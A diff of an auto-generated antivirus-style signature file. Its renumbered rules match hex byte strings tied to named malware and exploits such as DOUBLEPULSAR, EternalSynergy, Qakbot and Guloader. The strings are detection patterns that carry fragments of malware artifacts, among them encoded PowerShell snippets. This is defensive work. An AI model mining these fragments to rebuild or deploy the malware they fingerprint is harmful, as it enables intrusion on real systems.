72 69 61 6e 5f 52 6f 74 68 2f 53 55 53 50 5f 45 58 50 4c 5f 4f 42 46 55 53 43 5f 44 65 63 32 31 5f 31 00 02 00 0e 03 24 7b 6c 6f 77 65 72 3a 90 01 01 7d 90 00 02 00 0e 03 24 7b 75 70 70 65 72 3a 90 01 01 7d } //16675 $a_00_1 = {0a 01 } //144 Ċ $a_62_2 = {6f 77 65 72 3a 02 00 0a 01 24 25 37 62 75 70 70 65 72 3a 02 00 0b 01 25 32 34 25 37 62 6a 6e 64 69 3a 02 00 0a 01 24 25 37 42 6c 6f 77 65 72 3a 02 00 0a 01 24 25 37 } //9508 - $a_70_3 = {72 3a 02 00 0b 01 25 32 34 25 37 42 6a 6e 64 69 3a ff ff 05 01 3c 68 74 6d 6c 00 00 78 bb 00 00 03 00 03 00 02 00 21 23 41 4c 46 3a 57 6f 72 6d 3a 4d 53 49 4c 2f 4e 57 6f 72 6d 2e 4e 49 54 21 4d 54 42 00 02 00 6c 03 14 0a 73 1d 00 00 0a 0b 07 28 1e 00 00 0a 03 6f 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 0a 07 6f 90 01 01 00 00 0a 73 22 } //30018 - $a_0c_4 = {08 06 6f 90 01 01 00 00 0a 08 } //0 - $a_01_5 = {01 00 00 0a 08 05 6f 90 01 01 00 00 0a 08 6f 90 01 01 00 00 0a 0d 09 02 16 02 8e 69 6f 90 01 01 00 00 0a 13 04 08 6f 90 01 01 00 00 0a 11 04 2a 90 00 02 00 21 03 28 18 00 00 0a 02 6f 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 14 14 6f 90 01 01 00 00 0a 26 2a 90 00 00 00 78 bb 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 68 72 65 70 6c 65 43 68 61 72 6d 2e 42 21 64 68 61 00 01 00 1e 00 43 00 3a } //28420 - $a_00_7 = {5c 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 01 00 5e 00 42 00 61 00 73 00 65 00 4e 00 61 00 6d 00 65 00 64 00 4f 00 62 00 6a 00 65 00 63 00 74 00 73 00 5c 00 52 00 65 00 73 00 74 00 72 00 69 00 } //83 - $a_00_8 = {65 00 64 00 5c 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 3a 00 57 00 69 00 6e 00 33 00 32 00 41 00 70 00 70 00 5f 00 30 00 01 00 05 01 ba 40 02 09 00 00 00 78 bb 00 00 03 00 03 00 05 00 21 23 41 4c 46 3a 48 53 54 52 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 45 71 74 6f 6e 65 78 2e 42 00 01 00 24 01 45 54 53 59 5f 45 52 52 4f 52 5f 45 } //99 + $a_70_3 = {72 3a 02 00 0b 01 25 32 34 25 37 42 6a 6e 64 69 3a ff ff 05 01 3c 68 74 6d 6c 00 00 78 bb 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 68 72 65 70 6c 65 43 68 61 72 6d 2e 42 21 64 68 61 00 01 00 1e 00 43 00 3a 00 5c 00 45 00 53 00 44 00 5c 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 01 00 } //30018 + $a_00_4 = {61 00 73 00 65 00 4e 00 61 00 6d 00 65 00 64 00 4f 00 62 00 6a 00 65 00 63 00 74 00 73 00 5c 00 52 00 65 00 73 00 74 00 72 00 69 00 63 00 74 00 65 00 64 00 5c 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 } //94 aseNamedObjects\Restricted\Downlo + $a_00_5 = {3a 00 57 00 69 00 6e 00 33 00 32 00 41 00 70 00 70 00 5f 00 30 00 01 00 05 01 ba 40 02 09 00 00 00 78 bb 00 00 03 00 03 00 05 00 21 23 41 4c 46 3a 48 53 54 52 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 45 71 74 6f 6e 65 78 2e 42 00 01 00 24 01 45 54 53 59 5f 45 52 52 4f 52 5f 45 58 50 4c 4f 49 54 } //97 + $a_4f_6 = {5f 55 4e 53 55 43 43 45 53 53 46 55 4c 01 00 0c 01 65 74 73 79 5f 65 78 70 6c 6f 69 74 01 00 21 01 54 72 69 67 67 65 72 69 6e 67 20 44 4f 55 42 4c 45 50 55 4c 53 41 52 20 69 6e 73 74 61 6c 6c 65 72 01 00 1d 01 44 6f 57 } //21569 + $a_65_7 = {6e 64 58 45 78 70 6c 6f 69 74 54 72 61 6e 73 61 63 74 69 6f 6e 01 00 0e 01 45 74 65 72 6e 61 6c 73 79 6e 65 72 67 79 00 00 78 bb 00 00 03 00 03 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 59 6f 64 61 77 61 72 65 44 65 63 72 79 70 74 6f 72 2e 41 21 64 68 61 00 03 00 24 01 33 36 39 38 33 66 36 65 2d 62 62 39 30 2d 34 65 35 38 } //26994 + $a_61_8 = {2d 32 64 35 30 37 31 39 34 34 66 66 36 01 00 0d 01 44 65 63 72 79 70 74 6f 72 2e 65 78 65 02 00 21 01 61 6c 6c 46 69 6c 65 44 65 63 72 79 70 74 69 6f 6e 42 61 63 6b } //24877 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*144+(#a_62_2 & 1)*9508+(#a_70_3 & 1)*30018+(#a_0c_4 & 1)*0+(#a_01_5 & 1)*28420+(#a_00_7 & 1)*83+(#a_00_8 & 1)*99) >=2 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*144+(#a_62_2 & 1)*9508+(#a_70_3 & 1)*30018+(#a_00_4 & 1)*94+(#a_00_5 & 1)*97+(#a_4f_6 & 1)*21569+(#a_65_7 & 1)*26994+(#a_61_8 & 1)*24877) >=2 } -rule _InfrastructureShared_12935{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " - - strings : - $a_46_0 = {57 6f 72 6d 3a 4d 53 49 4c 2f 4e 57 6f 72 6d 2e 4e 49 54 21 4d 54 42 00 02 00 6c 03 14 0a 73 1d 00 00 0a 0b 07 28 1e 00 00 0a 03 6f 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 0a 07 6f 90 01 01 00 00 0a 73 22 00 00 0a 0c 08 06 6f 90 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=3 - -} -rule _InfrastructureShared_12936{ +rule _InfrastructureShared_13778{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -145091,7 +154687,7 @@ rule _InfrastructureShared_12936{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_00_2 & 1)*112) >=3 } -rule _InfrastructureShared_12937{ +rule _InfrastructureShared_13779{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -145104,7 +154700,7 @@ rule _InfrastructureShared_12937{ ((#a_46_0 & 1)*16675+(#a_78_1 & 1)*24441+(#a_3a_3 & 1)*19521+(#a_66_4 & 1)*13369) >=3 } -rule _InfrastructureShared_12938{ +rule _InfrastructureShared_13780{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -145117,7 +154713,7 @@ rule _InfrastructureShared_12938{ ((#a_46_0 & 1)*16675+(#a_63_2 & 1)*17409+(#a_46_3 & 1)*16675+(#a_44_4 & 1)*5156) >=3 } -rule _InfrastructureShared_12939{ +rule _InfrastructureShared_13781{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -145130,7 +154726,7 @@ rule _InfrastructureShared_12939{ ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*5156+(#a_74_2 & 1)*30766+(#a_3a_3 & 1)*25968) >=3 } -rule _InfrastructureShared_12940{ +rule _InfrastructureShared_13782{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -145147,7 +154743,7 @@ rule _InfrastructureShared_12940{ ((#a_77_0 & 1)*16675+(#a_6f_1 & 1)*11879+(#a_65_2 & 1)*28783+(#a_01_3 & 1)*-2303+(#a_5b_4 & 1)*7168+(#a_78_5 & 1)*17952+(#a_00_6 & 1)*46+(#a_00_7 & 1)*30720) >=3 } -rule _InfrastructureShared_12941{ +rule _InfrastructureShared_13783{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -145160,7 +154756,7 @@ rule _InfrastructureShared_12941{ ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*11520+(#a_72_2 & 1)*30580+(#a_41_3 & 1)*8448) >=4 } -rule _InfrastructureShared_12942{ +rule _InfrastructureShared_13784{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -145172,7 +154768,7 @@ rule _InfrastructureShared_12942{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*9504+(#a_48_3 & 1)*8448) >=4 } -rule _InfrastructureShared_12943{ +rule _InfrastructureShared_13785{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -145185,7 +154781,7 @@ rule _InfrastructureShared_12943{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*99+(#a_6f_2 & 1)*30023+(#a_73_3 & 1)*28274) >=4 } -rule _InfrastructureShared_12944{ +rule _InfrastructureShared_13786{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -145197,20 +154793,33 @@ rule _InfrastructureShared_12944{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*25120+(#a_53_2 & 1)*14924) >=4 } -rule _InfrastructureShared_12945{ +rule _InfrastructureShared_13787{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_4c_0 = {48 53 54 52 3a 57 69 6e 33 32 2f 4b 69 6c 69 6d 2e 47 00 01 00 1d 01 5c 75 30 31 33 30 6c 6b 20 6b 75 6c 6c 61 6e 5c 75 30 31 33 31 63 5c 75 30 31 33 31 22 01 00 14 00 63 72 65 61 74 69 6f 6e 5f 66 6c 61 67 } //21539 $a_20_1 = {38 2c 01 00 3c 00 61 70 69 22 3a 20 5b 20 22 63 6c 69 70 62 6f 61 72 64 52 65 61 64 22 2c 20 22 63 6c 69 70 62 6f 61 72 64 57 72 69 74 65 22 2c 20 22 63 6f 6e 74 65 6e 74 53 } //8819 - $a_69_2 = {67 73 22 01 00 1d 00 63 6f 75 6e 74 72 79 69 64 5f 61 74 5f 69 6e 73 74 61 6c 6c 22 3a 20 32 31 35 38 36 2c 00 00 78 bb 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 53 65 74 44 65 66 61 75 6c 74 42 72 6f 77 73 65 72 2e 4b 53 33 37 00 01 00 16 80 01 53 65 74 44 65 66 61 75 6c 74 42 72 6f 77 73 65 72 20 76 31 2e 35 01 00 } //29797 - $a_53_3 = {74 } //-32738 t + $a_69_2 = {67 73 22 01 00 1d 00 63 6f 75 6e 74 72 79 69 64 5f 61 74 5f 69 6e 73 74 61 6c 6c 22 3a 20 32 31 35 38 36 2c 00 00 78 bb 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 4d 53 49 4c 2f 4d 65 64 69 61 41 72 65 6e 61 2e 4b 53 38 34 00 01 00 13 80 01 41 64 45 6e 6f 75 67 68 54 72 61 79 2e 45 76 65 6e 74 73 01 } //29797 + $a_01_3 = {41 64 45 6e 6f 75 67 68 54 72 61 79 2e 56 69 65 77 4d 6f 64 65 6c 73 01 00 12 80 01 41 64 45 6e 6f 75 67 68 54 72 61 79 2e 56 69 65 77 73 01 00 17 80 01 41 64 45 6e 6f 75 67 68 54 72 61 79 2e 43 6f 6e 76 65 72 74 65 72 73 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 bb 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 50 55 41 } //5888 condition: - ((#a_4c_0 & 1)*21539+(#a_20_1 & 1)*8819+(#a_69_2 & 1)*29797+(#a_53_3 & 1)*-32738) >=4 + ((#a_4c_0 & 1)*21539+(#a_20_1 & 1)*8819+(#a_69_2 & 1)*29797+(#a_01_3 & 1)*5888) >=4 } -rule _InfrastructureShared_12946{ +rule _InfrastructureShared_13788{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " + + strings : + $a_46_0 = {42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 4d 53 49 4c 2f 4d 65 64 69 61 41 72 65 6e 61 2e 4b 53 38 34 00 01 00 13 80 01 41 64 45 6e 6f 75 67 68 54 72 61 79 2e 45 76 65 6e 74 73 01 00 17 80 01 41 64 45 6e 6f 75 67 68 54 72 } //16675 + $a_56_1 = {65 77 4d 6f 64 65 6c 73 01 00 12 80 01 41 64 45 6e 6f 75 67 68 54 72 61 79 2e 56 69 65 77 73 01 00 17 80 01 41 64 45 6e 6f 75 67 68 54 72 } //31073 + $a_43_2 = {6e 76 65 72 74 65 72 73 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 bb 00 } //31073 + $a_3a_5 = {55 41 3a 57 69 6e 33 32 2f 53 65 74 44 65 66 61 75 6c 74 42 72 6f 77 73 65 72 2e 4b 53 33 37 00 01 00 16 80 01 53 65 74 44 65 66 61 75 6c 74 42 72 6f 77 73 65 72 20 76 31 2e 35 01 00 1e 80 01 53 65 74 44 65 66 } //19521 + condition: + ((#a_46_0 & 1)*16675+(#a_56_1 & 1)*31073+(#a_43_2 & 1)*31073+(#a_3a_5 & 1)*19521) >=4 + +} +rule _InfrastructureShared_13789{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -145225,7 +154834,7 @@ rule _InfrastructureShared_12946{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*28530+(#a_2f_2 & 1)*13166+(#a_74_3 & 1)*28780+(#a_00_4 & 1)*4+(#a_61_5 & 1)*28530) >=4 } -rule _InfrastructureShared_12947{ +rule _InfrastructureShared_13790{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -145235,38 +154844,25 @@ rule _InfrastructureShared_12947{ $a_53_2 = {30 3f 03 00 2e 42 8b 4d fc 51 8b 4d 08 e8 90 01 04 8a 10 88 55 fb 0f be 45 fb 83 f0 90 01 01 88 45 fb 8b 4d fc 51 8b 4d 08 e8 90 01 04 8a 55 fb 88 10 90 00 00 00 78 bb 00 00 04 00 04 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 } //21284 $a_69_3 = {33 32 2f 57 68 61 63 6b 6f 72 2e 44 21 64 68 61 00 03 00 16 80 01 70 6f 72 74 6b 6e 6f 63 6b 41 6e 64 54 63 70 43 6f 6e 6e 65 63 74 03 00 20 80 01 74 63 70 5f 73 65 72 76 65 72 5f 6f 76 65 72 5f 6b 6e 6f 63 6b 5f 75 70 6c 6f 61 64 66 69 6c 65 02 00 09 80 01 4b } //14958 $a_4b_4 = {41 53 45 02 00 08 80 01 43 72 79 73 68 65 6c 6c 01 00 09 80 01 6b 6e 6f 63 6b 70 6f 72 74 01 00 06 80 01 5f 68 6f 70 31 5f 01 00 19 80 01 69 6d 70 65 72 73 6f 6e 61 74 65 4e 65 74 77 6f 72 6b 53 65 72 } //20302 - $a_65_5 = {00 78 bb 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 75 73 79 2e 50 47 5a 21 4d 54 42 00 01 00 43 80 01 55 6d 56 74 62 33 5a 6c 4c 55 6c 30 5a 57 31 51 63 6d 39 77 5a 58 4a 30 65 53 41 74 55 47 46 30 61 43 41 69 53 45 74 44 56 54 70 63 55 6b 4e 58 54 56 78 79 } //26998 + $a_65_5 = {00 78 bb 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 51 61 6b 62 6f 74 2e 52 21 4d 54 42 00 02 00 26 01 6f 00 6e 00 6c 00 79 00 43 00 68 00 72 00 6f 00 6d 00 65 00 61 00 6e 00 6e 00 6f 00 75 00 6e 00 63 00 65 00 64 00 02 00 3a 01 73 00 74 00 61 00 72 00 } //26998 condition: ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*11070+(#a_53_2 & 1)*21284+(#a_69_3 & 1)*14958+(#a_4b_4 & 1)*20302+(#a_65_5 & 1)*26998) >=4 } -rule _InfrastructureShared_12948{ +rule _InfrastructureShared_13791{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 68 61 63 6b 6f 72 2e 44 21 64 68 61 00 03 00 16 80 01 70 6f 72 74 6b 6e 6f 63 6b 41 6e 64 54 63 70 43 6f 6e 6e 65 63 74 03 00 20 80 01 74 63 70 5f 73 65 72 76 65 72 5f 6f 76 65 72 5f 6b } //16675 $a_6b_1 = {75 70 6c 6f 61 64 66 69 6c 65 02 00 09 80 01 4b 4e 4f 43 4b 42 41 53 45 02 00 08 80 01 43 72 79 73 68 65 6c 6c 01 00 09 80 01 6b 6e 6f 63 6b 70 6f 72 74 01 00 06 80 01 5f 68 6f 70 31 5f 01 00 19 80 01 69 6d 70 65 72 73 6f 6e 61 74 65 4e 65 74 77 6f 72 6b 53 65 72 76 69 63 65 00 00 78 bb 00 00 05 } //28526 - $a_54_3 = {4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 75 73 79 2e 50 47 5a 21 4d 54 42 00 01 00 43 80 01 55 6d 56 } //8448 - $a_5a_4 = {4c 55 6c 30 5a 57 31 51 63 6d 39 77 5a 58 4a 30 65 53 41 74 55 47 46 30 61 43 41 69 53 45 74 44 56 54 70 63 55 6b 4e 58 54 56 78 79 59 79 49 67 4c 55 35 } //25204 LUl0ZW1Qcm9wZXJ0eSAtUGF0aCAiSEtDVTpcUkNXTVxyYyIgLU5 - $a_55_5 = {4b 67 30 04 00 47 80 01 4b 54 6d 56 33 4c 55 6c 30 5a 57 31 51 63 6d 39 77 5a 58 4a 30 65 53 41 74 55 47 46 30 61 43 41 69 53 45 74 44 56 54 70 63 55 6b 4e 58 54 56 78 79 59 79 49 67 4c 55 35 68 62 57 55 67 49 69 52 68 63 6d 64 7a 49 67 00 00 78 bb 00 00 05 00 } //25192 - $a_00_6 = {21 23 41 4c } //5 !#AL + $a_41_3 = {46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 51 61 6b 62 6f 74 2e 52 21 4d 54 42 00 02 00 26 01 6f } //8448 + $a_00_5 = {68 00 72 00 6f 00 6d 00 65 00 61 00 6e 00 6e 00 6f 00 75 00 6e 00 63 00 65 00 64 00 02 00 3a 01 73 00 74 00 61 00 72 00 74 00 69 00 6e 00 67 00 51 00 62 00 74 00 6f 00 42 00 47 00 6f 00 6f 00 67 00 6c } //121 condition: - ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*28526+(#a_54_3 & 1)*8448+(#a_5a_4 & 1)*25204+(#a_55_5 & 1)*25192+(#a_00_6 & 1)*5) >=4 + ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*28526+(#a_41_3 & 1)*8448+(#a_00_5 & 1)*121) >=4 } -rule _InfrastructureShared_12949{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 75 73 79 2e 50 47 5a 21 4d 54 42 00 01 00 43 80 01 55 6d 56 74 62 33 5a 6c 4c 55 6c 30 5a 57 31 51 63 6d 39 77 5a 58 4a 30 65 53 41 74 55 47 46 30 61 43 41 69 53 45 74 } //21539 - $a_70_1 = {55 6b 4e 58 54 56 78 79 59 79 49 67 4c 55 35 68 62 57 55 67 4b 67 30 04 00 47 80 01 4b 54 6d 56 33 4c 55 6c 30 5a 57 31 51 63 6d 39 77 5a 58 4a 30 65 53 41 74 55 47 46 30 61 43 41 69 53 45 74 44 56 54 70 63 55 6b 4e 58 54 56 78 79 59 79 49 67 4c 55 35 } //22084 - condition: - ((#a_4c_0 & 1)*21539+(#a_70_1 & 1)*22084) >=5 - -} -rule _InfrastructureShared_12950{ +rule _InfrastructureShared_13792{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -145279,7 +154875,7 @@ rule _InfrastructureShared_12950{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*116+(#a_00_2 & 1)*0+(#a_46_3 & 1)*16675) >=5 } -rule _InfrastructureShared_12951{ +rule _InfrastructureShared_13793{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -145293,7 +154889,7 @@ rule _InfrastructureShared_12951{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*28277+(#a_00_2 & 1)*5+(#a_41_3 & 1)*20538+(#a_62_4 & 1)*31090) >=5 } -rule _InfrastructureShared_12952{ +rule _InfrastructureShared_13794{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -145307,7 +154903,7 @@ rule _InfrastructureShared_12952{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*28263+(#a_65_2 & 1)*29984+(#a_65_3 & 1)*30575+(#a_57_4 & 1)*27759) >=5 } -rule _InfrastructureShared_12953{ +rule _InfrastructureShared_13795{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -145316,26 +154912,40 @@ rule _InfrastructureShared_12953{ $a_65_1 = {75 67 5c 4d 65 6f 77 4d 65 4e 6f 77 2e 70 64 62 01 00 0d 01 4d 65 6f 77 4d 65 4e 6f 77 2e 65 78 65 01 00 09 00 4d 65 6f 77 4d 65 4e 6f 77 01 00 10 00 47 65 74 43 6f 6e 73 6f 6c 65 57 69 6e 64 6f 77 01 00 } //23658 $a_72_2 = {70 4e 6f 6e 45 78 63 65 70 74 69 6f 6e 54 68 72 6f 77 73 00 00 78 bb 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 4b 30 31 21 4d 54 42 00 01 00 1e 81 01 6f 76 65 72 64 72 61 6d 61 74 69 7a 65 73 20 74 65 73 74 } //22 $a_6e_3 = {65 72 69 6e 67 73 01 00 05 81 01 76 72 61 69 63 01 00 18 81 01 6c 6e 67 64 65 6d 61 61 6c 65 74 73 20 65 70 69 70 68 79 6c 61 78 69 73 01 00 1e 81 01 62 6c 69 6e 64 73 6d 61 67 6e 69 6e 67 65 6e 73 20 63 6f 6e 74 61 62 65 73 63 65 6e 63 65 01 00 21 81 01 73 75 70 65 72 70 72 69 6e 74 69 6e 67 20 73 74 } //28001 - $a_6c_4 = {6e 69 65 6e 20 6a 75 64 61 73 72 65 00 00 78 bb 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 53 41 31 32 33 21 4d 54 42 00 01 00 08 81 01 74 72 66 66 65 64 65 73 01 00 1d 81 01 6e 6c 65 20 6b 65 72 6e 65 6f 70 67 61 76 65 72 6e 65 73 20 68 61 6e 64 73 74 61 6e 64 01 00 15 81 01 6e 6f 6e 63 6f 6e } //29281 + $a_6c_4 = {6e 69 65 6e 20 6a 75 64 61 73 72 65 00 00 78 bb 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 43 43 36 30 37 21 4d 54 42 00 01 00 16 81 01 63 75 79 61 20 6b 6c 61 70 72 6f 74 68 6f 6c 69 74 65 2e 65 78 65 01 00 20 81 01 6b 69 6c 64 65 6b 6f 64 65 72 6e 65 20 66 65 73 74 73 74 65 6d 74 65 73 20 6e 65 } //29281 condition: ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*23658+(#a_72_2 & 1)*22+(#a_6e_3 & 1)*28001+(#a_6c_4 & 1)*29281) >=5 } -rule _InfrastructureShared_12954{ +rule _InfrastructureShared_13796{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 4b 30 31 21 4d 54 42 00 01 00 1e 81 01 6f 76 65 72 64 72 61 6d 61 74 69 7a 65 73 20 74 65 73 74 61 6d 65 6e 74 65 72 69 6e 67 73 01 00 05 81 01 76 72 61 69 63 01 00 18 81 01 6c 6e 67 64 65 6d 61 } //18467 $a_74_1 = {20 65 70 69 70 68 79 6c 61 78 69 73 01 00 1e 81 01 62 6c 69 6e 64 73 6d 61 67 6e 69 6e 67 65 6e 73 20 63 6f 6e 74 61 62 65 73 63 65 6e 63 65 01 00 21 81 01 73 75 70 65 72 70 72 69 6e 74 69 6e 67 20 73 74 61 72 74 6c 69 6e 69 65 6e 20 6a 75 64 61 73 72 65 00 00 78 bb 00 00 05 00 05 00 05 00 21 23 48 53 } //27745 + $a_57_2 = {6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 43 43 36 30 37 21 4d 54 42 00 01 00 16 81 01 63 75 79 61 20 6b 6c 61 70 72 6f 74 68 6f 6c 69 74 65 2e 65 78 65 01 00 20 81 01 6b 69 } //21076 + $a_6b_3 = {64 65 72 6e 65 20 66 65 73 74 73 74 65 6d 74 65 73 20 6e 65 72 65 69 64 73 01 00 20 81 01 73 70 65 63 69 66 69 6b 61 74 69 6f 6e 65 72 20 66 6f 72 64 6a 65 6c 73 65 73 62 65 73 76 72 73 01 00 12 81 01 63 6f 6e 6a 65 63 74 75 72 65 20 62 61 70 74 69 73 74 01 00 11 81 01 49 6e 69 74 69 61 74 65 53 68 75 } //25708 + $a_77_4 = {57 00 00 78 bb 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 53 41 31 32 33 21 4d 54 42 00 01 00 08 81 01 74 72 66 66 65 64 65 73 01 00 1d 81 01 6e 6c 65 20 6b 65 72 6e 65 6f 70 67 61 76 65 72 6e 65 73 20 68 61 6e 64 73 74 61 6e 64 01 00 15 81 01 6e 6f 6e 63 6f 6e 73 6f 6c 61 62 6c } //25716 + condition: + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*27745+(#a_57_2 & 1)*21076+(#a_6b_3 & 1)*25708+(#a_77_4 & 1)*25716) >=5 + +} +rule _InfrastructureShared_13797{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 43 43 36 30 37 21 4d 54 42 00 01 00 16 81 01 63 75 79 61 20 6b 6c 61 70 72 6f 74 68 6f 6c 69 74 65 2e 65 78 65 01 00 20 81 01 6b 69 6c 64 65 6b 6f 64 65 72 6e 65 20 66 65 73 74 73 74 65 6d 74 65 73 } //18467 + $a_72_1 = {69 64 73 01 00 20 81 01 73 70 65 63 69 66 69 6b 61 74 69 6f 6e 65 72 20 66 6f 72 64 6a 65 6c 73 65 73 62 65 73 76 72 73 01 00 12 81 01 63 6f 6e 6a 65 63 74 75 72 65 20 62 61 70 74 69 73 74 01 00 11 81 01 49 6e 69 74 69 61 74 65 53 68 75 74 64 6f 77 6e 57 00 00 78 bb 00 00 05 00 05 00 05 00 21 23 48 53 } //28192 $a_57_2 = {6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 53 41 31 32 33 21 4d 54 42 00 01 00 08 81 01 74 72 66 66 65 64 65 73 01 00 1d 81 01 6e 6c 65 20 6b 65 72 6e 65 6f 70 67 61 76 65 } //21076 $a_73_3 = {68 61 6e 64 73 74 61 6e 64 01 00 15 81 01 6e 6f 6e 63 6f 6e 73 6f 6c 61 62 6c 65 20 6d 6f 62 61 62 6c 65 01 00 1e 81 01 6b 6c 61 75 73 75 6c 65 6c 69 6d 69 6e 65 72 69 6e 67 65 72 6e 65 20 64 72 6d 6d 65 72 73 01 00 20 81 01 73 74 72 75 64 73 67 67 65 74 20 73 6b 69 76 76 79 20 72 6e 74 67 65 6e 62 69 } //28274 $a_64_4 = {73 00 00 78 bb 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 50 4f 46 31 32 33 21 4d 54 42 00 01 00 1c 81 01 69 6e 65 66 66 65 63 74 75 61 6c 6e 65 73 73 20 64 75 65 6c 6c 61 6e 74 65 72 6e 65 01 00 1a 81 01 72 65 6c 69 65 72 20 6a 75 64 61 73 6b 79 73 20 } //27756 condition: - 